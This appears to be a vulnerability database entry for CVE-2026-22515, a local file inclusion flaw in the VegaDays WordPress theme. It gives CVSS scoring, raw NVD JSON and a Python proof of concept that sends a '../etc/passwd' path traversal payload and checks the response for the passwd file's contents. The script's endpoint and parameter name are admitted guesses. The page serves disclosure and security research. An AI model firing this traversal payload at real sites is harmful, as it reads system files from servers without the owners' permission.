Security Vulnerability Report
中文
CVE-2026-22515 CVSS 8.1 HIGH

CVE-2026-22515

Published: 2026-03-25 17:16:34
Last Modified: 2026-04-24 16:32:54

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes VegaDays vegadays allows PHP Local File Inclusion.This issue affects VegaDays: from n/a through <= 1.2.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AncoraThemes VegaDays <= 1.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-22515 - VegaDays Theme LFI This script demonstrates checking for Local File Inclusion. """ import requests import sys def check_lfi(target_url): # Common path traversal payload to read /etc/passwd # The vulnerable parameter might vary; 'file' or 'page' is common in WP themes. # Adjust the parameter name based on the specific vulnerable endpoint. traversal_payload = "../../../../../../../../etc/passwd" # Example target structure (hypothetical) # Exploit URL: http://target/wp-content/themes/vegadays/vulnerable_file.php?file=.. full_url = f"{target_url}?file={traversal_payload}" try: response = requests.get(full_url, timeout=10) # Check if the response contains indicators of a successful file read if "root:x:0:0:" in response.text: print(f"[+] Vulnerability confirmed at: {full_url}") print(f"[+] Response snippet:\n{response.text[:200]}") return True else: print(f"[-] Target does not appear vulnerable or parameter is incorrect.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_url>") print("Example: python3 poc.py http://example.com/wp-content/themes/vegadays/") sys.exit(1) target = sys.argv[1] check_lfi(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22515", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:33.953", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes VegaDays vegadays allows PHP Local File Inclusion.This issue affects VegaDays: from n/a through <= 1.2.0."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en el programa PHP ('Inclusión Remota de Ficheros PHP') vulnerabilidad en AncoraThemes VegaDays vegadays permite la Inclusión Local de Ficheros PHP. Este problema afecta a VegaDays: desde n/a hasta &lt;= 1.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/vegadays/vulnerability/wordpress-vegadays-theme-1-2-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}